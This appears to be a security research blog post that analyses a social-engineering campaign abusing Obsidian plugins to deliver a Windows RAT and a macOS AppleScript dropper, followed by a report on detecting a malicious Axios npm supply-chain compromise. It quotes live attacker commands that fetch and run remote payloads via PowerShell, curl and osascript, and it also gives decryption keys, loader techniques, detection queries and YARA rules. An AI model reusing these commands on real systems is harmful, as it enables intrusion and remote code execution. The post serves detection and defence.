Elastic Security Labs has identified a novel social engineering campaign that abuses the popular note-taking application, Obsidian, as an initial access vector. The campaign, which we track as REF6598, targets individuals in the financial and cryptocurrency sectors through elaborate social engineering on LinkedIn and Telegram. The threat actors abuse Obsidian's legitimate community plugin ecosystem, specifically the Shell Commands and Hider plugins, to silently execute code when a victim opens a shared cloud vault.

In the observed intrusion, Elastic Defend detected and blocked the attack at the early stage, preventing the threat actors from achieving their objectives on the victim's machine.

The attack chain is cross-platform, with dedicated execution paths for both Windows and macOS. On Windows, an intermediate loader decrypts and reflectively loads payloads entirely in memory using AES-256-CBC, timer queue callback execution, and multiple anti-analysis techniques. The chain culminates in the deployment of a previously undocumented RAT we are naming PHANTOMPULSE, a heavily AI-generated, full-featured backdoor with blockchain-based C2 resolution, advanced process injection via module stomping. On macOS, the attack deploys an obfuscated AppleScript dropper with a Telegram-based fallback C2 resolution mechanism.

This post will detail the full attack chain, from social engineering through final payload analysis, and provide detection guidance and indicators of compromise.

Key takeaways

PHANTOMPULSE is a novel, AI-assisted Windows RAT featuring blockchain-based C2 resolution via Ethereum transaction data and distinct injection techniques
We identified a weakness in the C2 mechanism that allows for a takeover of the implants by responders
Obsidian was abused for initial access social engineering attack
Cross-platform attack chain targeting both Windows and macOS
The macOS payload uses a multi-stage AppleScript dropper with a Telegram dead-drop for fallback C2 resolution
PHANTOMPULL is a custom in-memory loader that delivers PHANTOMPULSE

Campaign overview

The threat actors operate under the guise of a venture capital firm, initiating contact with targets through LinkedIn. After initial engagement, the conversation moves to a Telegram group where multiple purported partners participate, lending credibility to the interaction. The discussion centers around financial services, specifically cryptocurrency liquidity solutions, creating a plausible business context.

The target is asked to use Obsidian, presented as the firm's "management database", for accessing a shared dashboard. The target is provided credentials to connect to a cloud-hosted vault controlled by the attacker.

This vault is the initial access vector. Once opened in Obsidian, the target is instructed to enable community plugins sync. After that, the trojanized plugins silently execute the attack chain.

Initial access

An Elastic Defend behavior alert triggered on suspicious PowerShell execution with Obsidian as the parent process. This immediately caught our attention. Initially, we suspected an untrusted binary masquerading as Obsidian. However, after inspecting the parent process code signature and hash, it appeared to be the legitimate Obsidian binary.

Pivoting on the process event call stack to determine whether a third-party DLL sideload or unbacked memory region was involved, we confirmed that the process creation originated directly from Obsidian itself.

We then investigated the surrounding files for signs of JavaScript injection via modification of dependency files or malicious .asar file planting. Everything appeared to be a clean, legitimate Obsidian installation with no third-party code. At that point, we decided to install Obsidian ourselves and explore what options an attacker could abuse to achieve command execution.

The first thing that stood out was the ability to log in to an Obsidian-synced vault with an email and password.

Obsidian's vault sync feature allows notes and files to be synchronized across devices and platforms. While reviewing the files of the malicious remote vault under the .obsidian config folder, we found evidence that the Shell Commands community plugin had been installed:

C:\Users\user\Documents\\.obsidian\plugins\obsidian-shellcommands\data.json

The Shell Commands plugin allows users to execute platform-specific shell commands based on configurable triggers such as Obsidian startup, close, every N seconds, and others.

The contents of data.json confirmed our theory: the configured commands matched exactly what we had observed in the original PowerShell behavior alert.

To validate the full attack chain, we attempted to replicate the behavior end-to-end across two machines, a host and a VM using a paid Obsidian Sync license. On the host, we installed the Shell Commands community plugin with a custom command configured to spawn notepad.exe on startup. On the VM, we logged in to the same Obsidian account and connected to the remote vault.

The synced vault on the VM received the base configuration files (app.json, appearance.json, core-plugins.json, workspace.json), but notably the plugins/ directory and community-plugins.json were absent entirely. This is because Obsidian's Sync settings expose two separate toggles "Active community plugin list" and "Installed community plugins" both of which are disabled by default and are local client-side preferences that do not propagate through sync.

As shown below, the plugins and community_plugins manifest are not synced automatically (any file inside the .obsidian directory).

However, once enabled, the Shell Commands plugin immediately triggers execution of attacker-defined commands on vault open:

This means an attacker cannot remotely force the installation or enablement of a community plugin via vault sync alone. The victim must manually enable the community plugin sync on their device before the weaponized plugin configuration pulls down and triggers execution.

In the case we investigated, the attacker provided Obsidian account credentials directly to the victim as part of a social engineering lure, likely instructing them to log in, enable community plugin sync, and connect to the pre-staged vault. Once those steps were completed, the Shell Commands plugin and its data.json configuration synced automatically, and on the next configured trigger, the payload executed without any further interaction.

While this attack requires social engineering to cross the community plugin sync boundary, the technique remains notable: it abuses a legitimate application feature as a persistence and command execution channel, the payload lives entirely within JSON configuration files that are unlikely to trigger traditional AV signatures, and execution is handed off by a signed, trusted Electron application, making parent-process-based detection the critical layer.

Alongside the Shell Commands plugin, the author used Hider (v1.6.1), a UI-cleanup plugin that hides interface elements. With every concealment option enabled, the following is the configuration:

{
  "hideStatus": true,
  "hideTabs": true,
  "hideScroll": true,
  "hideSidebarButtons": true,
  "hideTooltips": true,
  "hideFileNavButtons": true,
}

Windows execution chain

Stage 1

The Shell Commands plugin's Windows command contained two Invoke-Expression calls with Base64-encoded strings that decode to the following:

iwr http://195.3.222[.]251/script1.ps1 -OutFile env:TEMP\tt.ps1 -UseBasicParsing powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "env:TEMP\tt.ps1"

This will download a second-stage PowerShell script from a hardcoded IP address and execute it.

Stage 2

The downloaded PowerShell script (script1.ps1) implements a loader-delivery mechanism with a built-in operator-notification system. The script uses BitsTransfer to download the next-stage binary and reports its progress to the C2.

Import-Module BitsTransfer
Start-BitsTransfer -Source 'http://195.3.222[.]251/syncobs.exe?q=%23OBSIDIAN' `
  -Destination "$env:TEMP\syncobs.exe"

After the download, the script verifies the file's existence and reports the outcome to the C2 at 195.3.222[.]251/stuk-phase. It appears that the prepended characters (G, R) to the Status Message, declaring GREEN or RED as a status color code. The following is a table of all the status messages:

The tag parameter (Obsidian) sent with each status update identifies the campaign or infection vector, suggesting the operators might be running multiple concurrent campaigns.

if ($started) {
    Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "GLAUNCH SUCCESS"; tag = $tag }
} else {
    Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "RLAUNCH FAILED"; tag = $tag }
}
Start-Sleep -Seconds 3

Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "GSESSION CLOSED"; tag = $tag }

Loader - PHANTOMPULL

This loader is a 64-bit Windows PE executable that extracts an AES-256-CBC-encrypted PE payload from its own resources, decrypts it, and reflectively loads it into memory. This in-memory payload then downloads the next stage from the domain (panel.fefea22134[.]net) over HTTPS.

The third-stage payload (PHANTOMPULSE) is then decrypted and loaded reflectively via DllRegisterServer. This loader, which we are calling PHANTOMPULL, includes runtime API resolution and timer-queue-based execution. This sample includes minor forms of evasion/obfuscation, along with dead code; these techniques are used as an anti-analysis trick to waste the analyst's time investigating the malware.

Execution Flow

Stage 1

Stage 2

Fake Integrity Check

The loader begins with a strange start using a dead-code guard that compares GetTickCount() against the hex value (0xFFFFFFFE) — a value that corresponds to approximately 49.7 days of continuous system uptime, making the condition virtually unreachable. The guarded block contains convincing but unreachable anti-tamper functions designed to waste analysts' time during reverse engineering.

The anti_tamper_integrity_checksum() function is also pretty strange; it doesn’t actually hash any of the underlying bytes, but sums all the function addresses in the binary. The checksum is never compared to anything; this is likely an intended anti-analysis technique to waste analyst time and bloat the binary.

API Hashing

This loader resolves API functions dynamically at runtime using the djb2 hashing algorithm with seed 0x4E67C6A7. The following APIs were resolved:

VirtualAlloc
VirtualProtect
VirtualFree
LoadLibraryA
GetProcessAddress

Resource Extraction + Decryption

PHANTOMPULL stores its encrypted in-memory payload inside its own resources.

In order to extract the bytes, it uses FindResourceA, locating the resource type (RT_RCDATA) under ID (101). The resource is mapped into memory and copied into a region marked with PAGE_READWRITE permissions.

Next, the loader performs AES-256-CBC decryption using BCryptOpenAlgorithmProvider. The key is hardcoded in the .rdata section

Key: 6a85736b64761a8b2aaeadc1c0087e1897d16cc5a9d49c6a6ea1164233bad206

The IV is also hard-coded on the stack: A6FA4ADFC20E8E6B77E2DD631DC8FF18

After decryption, the loader validates the output is a valid PE by checking the MZ header magic value with a comparison instruction using a hard-coded value (0x0C1DF) that gets XOR’d with (0x9B92), equaling the PE magic header (0x5a4d). This is an example of some of the lightweight obfuscation efforts that often seem awkward and don't fit in.

Execution

Rather than calling the payload directly (which is easily detected by sandboxes), the loader uses a timer queue callback. The 50ms delay and separate-thread execution can evade various security/sandbox tooling.

Inside the callback is the reflective PE-loading functionality, which is then used to execute the next stage.

This reflective loading function is the core execution component. It copies the PE headers, maps each section into memory, applies base relocations, resolves imports, and sets the final section protections — producing a fully functional, memory-resident PE that never touches disk.

Execution is then transferred to the second stage via an indirect call rbp instruction, where RBP holds the computed entry point address of the reflectively loaded PE.

Second Stage

The second stage is responsible for downloading the remotely hosted payload (PHANTOMPULSE) and for using a similar reflective-loading technique to launch the implant. This stage starts by creating a mutex from an XOR operation with two hard-coded global variables.

The mutex name for this sample is: hVNBUORXNiFLhYYh

After the mutex is created, this code enters a persistent loop that attempts to download the payload from the C2 server. If the download successfully returns a valid buffer, it breaks out and proceeds to the reflective loading stage.

On failure, the code employs an exponential backoff — starting with a 5-second sleep and multiplying by 1.5x on each retry, capping just under 5 minutes. This avoids a fixed beacon interval that would be trivially fingerprinted in network traffic.

The downloader functionality starts by decrypting the C2 and URL.

The C2 and URL are both decrypted using a simple string decryption function using a 16-byte rotating key (f77c8e40dfc17be5e74d8679d5b35341).

Next, the malware builds the HTTPS request, appending the string using the URI /v1/updates/check?build=payloads and setting the User Agent (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36). This loader uses the WinHTTP library to connect to the C2 on port 443.

The malware takes the buffer from the remote C2 URL and decrypts the payload with a 16-byte XOR key (dcf5a9b27cbeedb769ccc8635d204af9)

Below are the first bytes of the XOR-encoded payload:

Below are the first bytes after the XOR takes place:

After the download and XOR operations, PHANTOMPULL parses the payload and reflects the DLL using DLLRegisterServer.

By quickly checking the strings, we can see the main backdoor, PHANTOMPULSE:

RAT - PHANTOMPULSE

PHANTOMPULSE is a sophisticated 64-bit Windows RAT designed for stealth, resilience, and comprehensive remote access. The binary exhibits strong indicators of AI-assisted development: Debug strings throughout the code are abnormally verbose, self-documenting, and follow a structured step-numbering pattern ([STEP 1], [STEP 1/3], [STEP 2/3])

During our research, we discovered that the C2 infrastructure had a publicly exposed panel branded as “Phantom Panel", featuring a login page with username, password, and captcha fields. The panel's design and structure suggest it was also AI-generated, consistent with the development patterns observed in the RAT itself.

C2 rotation through blockchain

PHANTOMPULSE implements a decentralized C2 resolution mechanism using public blockchain infrastructure as a dead drop. The malware's primary method for obtaining its C2 URL is by resolving it from on-chain transaction data. A hardcoded C2 URL serves as a fallback if the blockchain resolution fails after repeated attempts.

The malware queries the Etherscan-compatible API (/api?module=account&action=txlist&address=&page=1&offset=1&sort=desc) on three Blockscout instances:

eth.blockscout[.]com (Ethereum L1)
base.blockscout[.]com (Base L2)
optimism.blockscout[.]com (Optimism L2)

Each request fetches the most recent transaction associated with a hardcoded wallet address (0xc117688c530b660e15085bF3A2B664117d8672aA), which is itself XOR-encrypted in the binary. The malware parses the transaction's input data field from the JSON response, strips the 0x prefix, hex-decodes the raw bytes, and XOR-decrypts the result using the wallet address as the XOR key. If the decrypted output begins with http, it is accepted as the new active C2 URL.

This technique provides the operator with an infrastructure-agnostic rotation capability: publishing a new C2 endpoint requires only submitting a transaction with crafted calldata to the wallet on any of the three monitored chains. Because blockchain transactions are immutable and publicly accessible, the malware can always locate its C2 without relying on centralized infrastructure. The use of three independent chains adds redundancy: even if one chain's explorer is blocked or unavailable, the remaining two provide alternative resolution paths.

However, this design introduces a significant weakness. The Blockscout API returns all transactions involving the wallet address, both sent and received, sorted in reverse chronological order. The malware does not verify the sender of the transaction. This means any third party who knows the wallet address and the XOR key (both recoverable from the binary) can craft a transaction to the wallet containing a competing input payload. Because the malware always selects the most recent transaction, a single inbound transaction with a more recent timestamp would override the operator's intended C2 URL. In practice, this allows anyone to hijack the C2 resolution by submitting a sinkhole URL encoded with the same XOR scheme, effectively redirecting all infected hosts away from the attacker infrastructure.

C2 communication

PHANTOMPULSE uses WinHTTP for C2 communication, dynamically loading winhttp.dll and resolving all required functions at runtime. The C2 infrastructure is built around five API endpoints:

| Endpoint | Method | Purpose | | ----- | ----- | ----- | | /v1/telemetry/report | POST | Heartbeat with system telemetry | | /v1/telemetry/tasks/ | GET | Command fetch | | /v1/telemetry/upload/ | POST | Screenshot/file upload | | /v1/telemetry/result | POST | Command result delivery | | /v1/telemetry/keylog/ | POST | Keylog data upload |

The heartbeat sends comprehensive system telemetry as JSON, including CPU model, GPU, RAM, OS version, username, privilege level, public IP, installed AV products, installed applications, and the results of the last command execution.

Command table

The command dispatcher parses JSON responses from the C2 to extract and hash commands via the djb2 algorithm. This hash is processed by a switch-case statement to execute the corresponding logic, as seen in the pseudocode below:

| Hash | Command | Action | | ----- | ----- | ----- | | 0x04CF1142 | inject | Inject shellcode/DLL/EXE into target process | | 0x7C95D91A | drop | Drop the file to the disk and execute | | 0x9A37F083 | screenshot | Capture and upload a screenshot | | 0x08DEDEF0 | keylog | Start/stop keylogger | | 0x4EE251FF | uninstall | Full persistence removal and cleanup | | 0x65CCC50B | elevate | Escalate to SYSTEM via COM elevation moniker | | 0xB3B5B880 | downgrade | SYSTEM -> elevated admin transition | | 0x20CE3BC8 | | Resolves APIs, calls ExitProcess(0) self-termination |

MacOS execution chain

Stage 1: AppleScript via osascript

The Shell commands plugin's macOS command executes a Base64-encoded payload through osascript.

The decoded payload performs two primary actions:

LaunchAgent persistence: Creates a persistent LaunchAgent plist at ~/Library/LaunchAgents/com.vfrfeufhtjpwgray.plist configured with KeepAlive and RunAtLoad set to true, ensuring the second-stage payload executes on every login and restarts if terminated.

Second-stage execution: The LaunchAgent executes a heavily obfuscated AppleScript dropper through /bin/bash -c piped into osascript.

Stage 2: Obfuscated AppleScript dropper

The second-stage payload is an obfuscated AppleScript dropper that employs multiple evasion techniques.

String obfuscation: All sensitive strings (domains, URLs, user-agent values) are constructed at runtime using ASCII character, character id, and string id calls, preventing static string extraction:

property __tOlA5QTO5I : {(string id {48, 120, 54, 54, 54, 46, 105, 110, 102, 111})}
-- Decodes to: "0x666.info"

Decoy variables: Numerous unused variables with random names and values are defined to increase entropy and hinder analysis.

Fragmented concatenation: Strings are split across mixed encoding methods, combining literal fragments with character-ID lookups to defeat pattern matching.

C2 resolution with Telegram fallback

The dropper implements a layered C2 resolution strategy:

Primary: Iterates over a hardcoded domain list (including 0x666[.]info), sending a POST request with body "check" to validate C2 availability
Fallback: If the primary domain is unreachable, scrapes a public Telegram channel (t[.]me/ax03bot) to extract a backup domain

This Telegram dead-drop technique allows operators to rotate C2 infrastructure, making domain-based blocking insufficient as a sole mitigation.

Payload retrieval

Once a C2 is resolved, the script downloads and pipes a second-stage payload directly into osascript:

curl -s --connect-timeout 5 --max-time 10 --retry 3 --retry-delay 2 -X POST  \
  -H "User-Agent: "-d "txid=346272f0582541ae5dd08429bb4dc4ff&bmodule"| osascript

The victim identifier (txid) and module selector (bmodule) are sent as POST parameters. The response is expected to be another AppleScript payload executed immediately. At the time of analysis, the C2 servers for the macOS chain were offline, preventing the collection of subsequent stages.

Infrastructure analysis

Wallet activity

Examining the on-chain activity for the hardcoded wallet (0xc117688c530b660e15085bF3A2B664117d8672aA) reveals the operator's C2 rotation history. The two most recent transactions are self-transfers (wallet to itself), each encoding a different C2 URL in the transaction input data:

| Date (UTC) | Decoded C2 URL | | ----- | ----- | | Feb 19, 2026 12:29:47 | https://panel.fefea22134[.]net | | Feb 12, 2026 22:01:59 | https://thoroughly-publisher-troy-clara[.]trycloudflare[.]com |

The use of a Cloudflare Tunnel domain (trycloudflare[.]com) as a prior C2 endpoint is notable, as it allows the operator to expose a local server through Cloudflare's infrastructure without registering a domain, providing an additional layer of anonymity.

The wallet was initially funded on Feb 12, 2026, at 21:39:47 UTC by a separate account (0x38796B8479fDAE0A72e5E7e326c87a637D0Cbc0E) with a transfer of $5.84 and an empty input field (0x), confirming this was purely a funding transaction. The funding wallet itself has conducted approximately 50 transactions over the past three months, which provides a potential pivot point for uncovering additional campaigns operated by the same threat actor.

Payload staging server

The initial payload delivery server at 195.3.222[.]251 is hosted on AS 201814 (MEVSPACE sp. z o.o.), a Polish hosting provider.

PhantomPulse C2 panel

The domain fefea22134[.]net resolves to Cloudflare IPs (104.21.79[.]142 and 172.67.146[.]15), indicating the C2 panel sits behind Cloudflare's proxy. Historical passive DNS shows the domain was first resolved on 2026-03-12, with earlier resolutions pointing to different IPs (188.114.97[.]1 and 188.114.96[.]1) on 2026-03-20.

The domain uses a Let's Encrypt certificate first observed on 2026-03-12:

Serial: 5130b76e63cd41f11e6b7c2a77f203f72b4
Thumbprint: 6c0a1da746438d68f6c4ffbf9a10e873f3cf0499
Validity: 2026-02-19 to 2026-05-20

The certificate issuance date (Feb 19) aligns with the most recent blockchain C2 rotation transaction encoding panel.fefea22134[.]net, suggesting the infrastructure was provisioned the same day the C2 URL was published on-chain.

Conclusion

REF6598 demonstrates how threat actors continue to find creative initial access vectors by abusing trusted applications and employing targeted social engineering. By abusing Obsidian's community plugin ecosystem rather than exploiting a software vulnerability, the attackers bypass traditional security controls entirely, relying on the application's intended functionality to execute arbitrary code.

In the observed intrusion, Elastic Defend detected and blocked the attack chain at the early stage before PHANTOMPULSE could execute, preventing the threat actor from achieving their objectives. The behavioral protections triggered on the anomalous process execution originating from Obsidian, stopping the payload delivery in its tracks.

Organizations in the financial and cryptocurrency sectors should be aware that legitimate productivity tools can be turned into attack vectors. Defenders should monitor for anomalous child process creation from applications like Obsidian and enforce application-level plugin policies where possible. The indicators and detection logic provided in this research can be used to identify and respond to this activity.

Elastic Security Labs will continue to monitor REF6598 for further developments, including additional macOS payloads once the associated C2 infrastructure becomes active.

MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Detecting REF6598

Detection

The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set:

Suspicious Windows Powershell Arguments

Prevention

Hunting queries in Elastic

These hunting queries are used to identify the presence of the Obsidian community shell command plugin as well as the resulting command execution :

KQL

event.category : file and process.name : (Obsidian or Obsidian.exe) and
 file.path : *obsidian-shellcommands*

event.category : process and event.type : start and
 process.name : (sh or bash or zsh or powershell.exe or cmd.exe) and 
 process.parent.name : (Obsidian.exe or Obsidian)

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the PHANTOMPULL and PHANTOMPULSE

rule Windows_Trojan_PhantomPull {
    meta:
        author = "Elastic Security"
        os = "Windows"
        category_type = "Trojan"
        family = "PhantomPull"
        threat_name = "Windows.Trojan.PhantomPull"
        reference_sample = "70bbb38b70fd836d66e8166ec27be9aa8535b3876596fc80c45e3de4ce327980"

    strings:
        $GetTickCount = { 48 83 C4 80 FF 15 ?? ?? ?? ?? 83 F8 FE 75 }
        $djb2 = { 45 8B 0C 83 41 BA A7 C6 67 4E 49 01 C9 45 8A 01 }
        $mutex = { 48 89 EB 83 E3 ?? 45 8A 2C 1C 45 32 2C 2E 45 0F B6 FD }
        $str_decrypt = { 39 C2 7E ?? 49 89 C1 41 83 E1 ?? 47 8A 1C 0A 44 32 1C 01 45 88 1C 00 48 FF C0 }
        $payload_decrypt = { 4C 89 C8 83 E0 0F 41 8A 14 02 43 30 14 0F 49 FF C1 44 39 CB }
        $url = "/v1/updates/check?build=payloads" ascii fullword
    condition:
        3 of them
}

rule Windows_Trojan_PhantomPulse {
    meta:
        author = "Elastic Security"
        os = "Windows"
        category_type = "Trojan"
        family = "PhantomPulse"
        threat_name = "Windows.Trojan.PhantomPulse"
        reference_sample = "9e3890d43366faec26523edaf91712640056ea2481cdefe2f5dfa6b2b642085d"

    strings:
        $a = "[UNINSTALL 2/6] Removing Scheduled Task..." fullword
        $b = "PhantomInject: host PID=%lu" fullword
        $c = "inject: shellcode detected -> InjectShellcodePhantom" fullword
        $d = "inject: shellcode detected, using phantom section hijack" fullword
    condition:
        all of them
}

Observations

The following observables were discussed in this research.

| Observable | Type | Name | Reference | | ----- | ----- | ----- | ----- | | 70bbb38b70fd836d66e8166ec27be9aa8535b3876596fc80c45e3de4ce327980 | SHA-256 | syncobs.exe | PHANTOMPULL loader | | 33dacf9f854f636216e5062ca252df8e5bed652efd78b86512f5b868b11ee70f | SHA-256 | | PhantomPulse RAT (final payload) | | 195.3.222[.]251 | ipv4-addr | | Staging server (PowerShell script & loader delivery) | | panel.fefea22134[.]net | domain-name | | PhantomPulse C2 panel | | 0x666[.]info | domain-name | | macOS dropper C2 domain | | t[.]me/ax03bot | url | | macOS dropper Telegram fallback C2 | | 0xc117688c530b660e15085bF3A2B664117d8672aA | crypto-wallet | | Ethereum wallet for blockchain C2 resolution | | 0x38796B8479fDAE0A72e5E7e326c87a637D0Cbc0E | crypto-wallet | | Funding wallet for C2 resolution wallet | | thoroughly-publisher-troy-clara[.]trycloudflare[.]com | domain-name | | Prior PhantomPulse C2 (Cloudflare Tunnel) |

Elastic releases detections for the Axios supply chain compromise

Wed, 01 Apr 2026 00:00:00 GMT

Elastic Security Labs is releasing an initial triage and detection rules for the Axios supply-chain compromise. We have released a detailed analysis on the Axios compromise RAT and payloads.

Elastic Security Labs filed a GitHub Security Advisory to the axios repository on March 31, 2026 at 01:50 AM UTC to coordinate disclosure and ensure the maintainers and npm registry could act on the compromised versions.

Introduction

We are currently tracking a supply chain attack involving malicious Axios package versions that introduce a secondary dependency used for post-install execution. Rather than embedding malicious logic directly into the primary package, the attacker leveraged a transitive dependency to trigger execution during installation and deploy a cross-platform payload.

Elastic observed consistent execution patterns across impacted systems immediately after npm install of the malicious Axios versions (1.14.1, 0.30.4). The added dependency (plain-crypto-js@4.2.1) executed during postinstall and was quickly followed by a second-stage payload.

Across Linux, Windows, and macOS, the activity followed the same structure:

node (npm install)
  → OS-native execution (sh / cscript / osascript)
    → remote payload retrieval
      → backgrounded or hidden execution of stage 2

This results in a small but high-signal window where:

node spawns a shell or interpreter
a remote payload is fetched
execution is detached from the original process

Elastic detections triggered reliably on this behavior across platforms, providing strong coverage of the delivery stage.

How Elastic Detects the Supply Chain Attack

This activity consistently appears in process telemetry as a Node.js process spawning an OS-native execution path to retrieve and execute a remote payload, often in a detached or hidden context. Elastic detections focus on this behavior rather than static indicators, providing reliable coverage of the delivery stage across platforms.

Linux

The Linux execution path is the cleanest place to start, because the malware does very little to hide what it is doing. We observed that the delivery stage produced exactly the kind of process ancestry you would expect from a compromised dependency:

node → /bin/sh -c curl -o /tmp/ld.py ... && nohup python3 /tmp/ld.py ... &

Which shows up as follows:

The initial signal comes from the Node.js process, handing off execution to a shell that performs a remote fetch. This is captured by the Curl or Wget Spawned via Node.js detection rule.

event.category:process and
process.parent.name:("node" or "bun" or "node.exe" or "bun.exe") and 
(
  (
    process.name:(
      "bash" or "dash" or "sh" or "tcsh" or "csh" or  "zsh" or "ksh" or
      "fish" or "cmd.exe" or "bash.exe" or "powershell.exe"
    ) and
    process.command_line:(*curl*http* or *wget*http*)
  ) or 
  process.name:("curl" or "wget" or "curl.exe" or "wget.exe")
)

This captures the moment when the installation flow deviates from normal package behavior and begins pulling a payload over HTTP. In this case, it is the curl invocation that retrieves /tmp/ld.py from the remote server.

Shortly after, execution continues in the same shell, but now the focus shifts from retrieval to execution. This is picked up by Process Backgrounded by Unusual Parent.

event.category:process and event.type:start and
process.name:(bash or csh or dash or fish or ksh or sh or tcsh or zsh) and
process.args:(-c and *&)

Which captures the second half of the chain:

sh -c "... && nohup python3 /tmp/ld.py ... &"

The payload is launched with nohup and backgrounded immediately using &, detaching it from the parent process and suppressing output. That transition from a short-lived install-time shell into a detached long-running process is where the actual implant takes over.

After execution, the Linux second stage is a Python-based RAT that establishes a simple polling loop to its C2. The entrypoint work() sends an initial FirstInfo message and then transitions into main_work(), which continuously reports host data and processes tasking:

while True:
    ps = print_process_list()

    data = {
        "hostname": get_host_name(),
        "username": get_user_name(),
        "os": os,
        "processList": ps
    }

    response_content = send_result(url, body)

    if response_content:
        process_request(url, uid, response_content)

    time.sleep(60)

On first check-in, it performs a targeted directory enumeration via init_dir_info() across user paths such as $HOME, .config, Documents, and Desktop, and builds a process listing directly from /proc, including usernames and start times.

Tasking is minimal but flexible. runscript supports arbitrary shell execution or base64-delivered Python via python3 -c, while peinject simply writes attacker-supplied bytes to a hidden file in /tmp and executes it:

file_path = f"/tmp/.{generate_random_string(6)}"
with open(file_path, "wb") as file:
    file.write(payload)

os.chmod(file_path, 0o777)
subprocess.Popen([file_path] + shlex.split(param.decode("utf-8")))

This provides the operator with a lightweight access implant for periodic host profiling, command execution, and follow-on payload delivery.

Together, these detections provide strong coverage of the Linux delivery stage and the transition into the Python backdoor, without relying on specific filenames or hardcoded indicators:

Windows

The Windows execution path follows the same pattern: it uses curl to download a remote PowerShell script and proxy execution via a renamed PowerShell (C:\ProgramData\wt.exe). The following alert shows the process chain:

Where:

wt.exe is a renamed copy of PowerShell.exe located in C:\ProgramData\wt.exe
curl is used to retrieve a remote PowerShell script
execution is performed via the renamed binary

We first observe the creation and use of the renamed interpreter. This is captured by Execution via Renamed Signed Binary Proxy, which flags signed system binaries executed from unexpected locations.

Shortly after, the same binary is used to retrieve the second-stage payload over HTTP. This is picked up by Potential File Transfer via Curl for Windows, capturing the network retrieval stage driven from the scripted execution chain.

The second stage is a PowerShell-based RAT that beacons to its C2 (http[:]//sfrclak[.]com:8000/) every 60 seconds over HTTP using a fake IE8 User-Agent and base64-encoded JSON.

It establishes persistence via Run\MicrosoftUpdate registry key to execute a hidden bat script C:\ProgramData\system.bat:

The batch file dynamically retrieves and executes the payload in memory on login:

start /min powershell -w h -c "
([scriptblock]::Create(
  [System.Text.Encoding]::UTF8.GetString(
    (Invoke-WebRequest -UseBasicParsing -Uri '' -Method POST -Body 'packages.npm.org/product1').Content
  )
)) ''"

Its core capabilities include:

peinject - in-memory .NET assembly injection using Assembly.Load(byte[]) for process hollowing into cmd.exe.
runscript - arbitrary PowerShell script execution via encoded commands or temp files,
rundir - filesystem enumeration of user directories and all drive roots.

On initialization, it fingerprints the host via WMI, collecting hostname, username, OS version, CPU, hardware model, timezone, boot/install times, and a full process listing, and sends an initial directory listing of Documents, Desktop, OneDrive, and AppData before entering its beacon loop.

The second stage triggers both the Startup Persistence via Windows Script Interpreter and Suspicious String Value Written to Registry Run Key alerts:

The Suspicious PowerShell Base64 Decoding rule alert captures the PowerShell RAT script content :

Taken together, these detections capture the full Windows delivery chain: from renamed binary execution, to payload retrieval, to persistence, and in-memory execution via the following behavioral detections:

macOS

Analysis shows the loader writes AppleScript to a temp file, runs it via osascript, then downloads the second stage to a fake Apple-looking cache path and launches it through /bin/zsh. The key launcher looks like this:

do shell script "curl -o /Library/Caches/com.apple.act.mond \
 -d packages.npm.org/product0 \
 -s http://sfrclak.com:8000/6202033 \
 && chmod 770 /Library/Caches/com.apple.act.mond \
 && /bin/zsh -c \"/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &\" \ &> /dev/null"

The delivered file produced the following execution matching on the file name masquerading attempt and the self-signed code signature :

The payload path itself triggers the Potential Binary Masquerading via Invalid Code Signature and Suspicious URL as argument to Self-Signed Binary endpoint rules, as it mimics Apple naming conventions (com.apple.*) but does not match expected signing characteristics.

com.apple.act.mond is a custom-built macOS backdoor compiled as a universal Mach-O binary (x86_64 and ARM64) using C++ and Xcode, with HTTP-based C2 communications via libcurl and a JSON command protocol.

On initial check-in, it fingerprints the host, collecting hostname, username, OS version, hardware model, timezone, and a full process listing (ps -eo user,pid,command), which surfaces via the Suspicious XPC Service Child Process endpoint rule, capturing unexpected child process activity originating from the backdoor:

The macOS backdoor facilitates:

C2 connection by passing a URL directly as an argument.
AppleScript execution using osascript via temporary hidden .scpt files dropped to /tmp/
Filesystem enumeration targeting /Applications and ~/Library/Application Support
Downloading and executing remote base64-encoded payloads.
Ad-hoc code signing of dropped payloads (codesign --force --deep --sign - “/private/tmp/.*”) so it can run past Gatekeeper.

The binary is not packed or obfuscated, ships with debug entitlements enabled, and retains developer build paths (Jain_DEV/client_mac/macWebT) and uses a spoofed IE8/Windows XP user-agent string (mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)).

These detections collectively follow the macOS delivery path from staged AppleScript execution to payload launch and post-execution behavior:

Conclusion

This supply chain attack highlights how little complexity is required to achieve cross-platform compromise when execution is triggered during installation.

Across Linux, Windows, and macOS, we consistently observed the same core pattern: a Node.js process spawning native OS execution to retrieve and launch a remote payload, followed by immediate detachment or hidden execution.

From a detection perspective, the key takeaway is that the most reliable signals are not in the package itself, but in what happens immediately after installation. Process ancestry, network retrieval, and detached execution provide a stable detection surface that remains effective even when payloads, filenames, or infrastructure change.

Elastic detections focused on this behavior provided consistent coverage of the delivery stage across all platforms, without relying on static indicators.

Indicators of Compromise (IOCs)

Related Alerts

Malicious Packages

| Package | Version | Hash (shasum) | | ----- | ----- | ----- | | axios | 1.14.1 | 2553649f232204966871cea80a5d0d6adc700ca | | axios | 0.30.4 | d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71 | | plain-crypto-js | 4.2.1 | 07d889e2dadce6f3910dcbc253317d28ca61c766 |

Additional related packages observed in the ecosystem abuse:

| Package | Version | | ----- | ----- | | @shadanai/openclaw | 2026.3.28-2, 2026.3.28-3, 2026.3.31-1, 2026.3.31-2 | | @qqbrowser/openclaw-qbot | 0.0.130 |

Script / Payload Hashes (SHA256)

